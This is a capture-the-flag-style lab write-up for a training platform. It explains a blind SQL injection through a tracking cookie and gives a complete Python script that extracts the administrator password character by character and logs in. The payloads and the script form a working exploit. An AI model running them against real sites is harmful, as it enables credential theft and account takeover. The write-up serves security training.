SQLi Lab 11
Blind SQL injection for extracting administrator password via conditional responses
Blind SQL injection with conditional responses#
This lab demonstrates exploiting a blind SQL injection (SQLi) vulnerability via a tracking cookie. The application does not return query results or errors, but includes a “Welcome back” message if the SQL query returns any rows. By modifying the TrackingId
cookie and testing boolean conditions, we can infer the presence of tables, users, password length, and ultimately extract each character of the administrator password.
How Exploit Works#
- Modify the
TrackingId
cookie to test boolean conditions:' AND '1'='1
→ condition true, Welcome back message appears.' AND '1'='2
→ condition false, Welcome back message disappears.
- Confirm existence of the
users
table andadministrator
user using subqueries. - Determine password length by sending sequential conditions:
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>N)='a
- Extract password character-by-character using
SUBSTRING
in the cookie:' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
- Iterate each position until the full password is reconstructed.
- Login as administrator using the extracted password.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmdExploit#
exploit.py
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Burp Suite proxy (optional, comment out if not needed)
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
def check_burp():
"""Check if Burp Suite proxy is running."""
try:
requests.get("http://127.0.0.1:8080", timeout=3)
except requests.exceptions.RequestException:
print("[-] Burp Suite is not running. Please start it and try again.")
sys.exit(1)
def get_initial_cookies(url):
"""Fetch initial cookies from the application (TrackingId + session)."""
res = requests.get(url, verify=False, proxies=proxies, timeout=10)
res.raise_for_status()
cookies = res.cookies.get_dict()
if "TrackingId" not in cookies or "session" not in cookies:
print("[-] Could not fetch TrackingId or session cookie.")
sys.exit(1)
print(f"[*] Got TrackingId={cookies['TrackingId']} and session={cookies['session']}")
return cookies
def send_injection(url, cookies, payload):
"""Send SQLi payload appended to TrackingId cookie and check response."""
injection = cookies["TrackingId"] + payload
injected_cookies = {
"TrackingId": injection,
"session": cookies["session"]
}
res = requests.get(url, cookies=injected_cookies, verify=False, proxies=proxies, timeout=10)
res.raise_for_status()
return "Welcome back!" in res.text
def extract_password(url, cookies, max_len=20):
"""Extract administrator password character by character."""
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
print("[*] Extracting password...")
for i in range(1, max_len + 1):
found = False
for c in charset:
payload = f"' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),{i},1)='{c}"
if send_injection(url, cookies, payload):
password += c
print(f"[+] Found character {i}: {c} -> {password}")
found = True
break
if not found:
print(f"[-] No match found for position {i}. Stopping...")
break
return password
def login(url, username, password):
"""Log in using CSRF token and credentials, then check if lab solved."""
login_url = url.rstrip("/") + "/login"
session = requests.Session()
res = session.get(login_url, verify=False, proxies=proxies)
res.raise_for_status()
soup = BeautifulSoup(res.text, "html.parser")
csrf_token = soup.find("input", {"name": "csrf"})["value"]
data = {
"csrf": csrf_token,
"username": username,
"password": password
}
res = session.post(login_url, data=data, verify=False, proxies=proxies)
res.raise_for_status()
if "Log out" in res.text:
print(f"[+] Logged in as {username}. Checking if lab is solved...")
base_res = session.get(url, verify=False, proxies=proxies)
base_res.raise_for_status()
if "Congratulations" in base_res.text:
print("[+] Lab solved! 🎉")
return True
else:
print("[-] Logged in but lab not solved yet.")
return False
else:
print("[-] Login failed.")
return False
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <url>")
print(f"Example: python {sys.argv[0]} https://example.com")
sys.exit(1)
url = sys.argv[1].strip()
check_burp()
# Step 1: Get real cookies
cookies = get_initial_cookies(url)
# Step 2: Extract administrator password
password = extract_password(url, cookies, max_len=20)
if not password:
print("[-] Failed to extract password!")
sys.exit(1)
print(f"[*] Extracted password for administrator: {password}")
# Step 3: Try to login
login(url, "administrator", password)
if __name__ == "__main__":
main()
python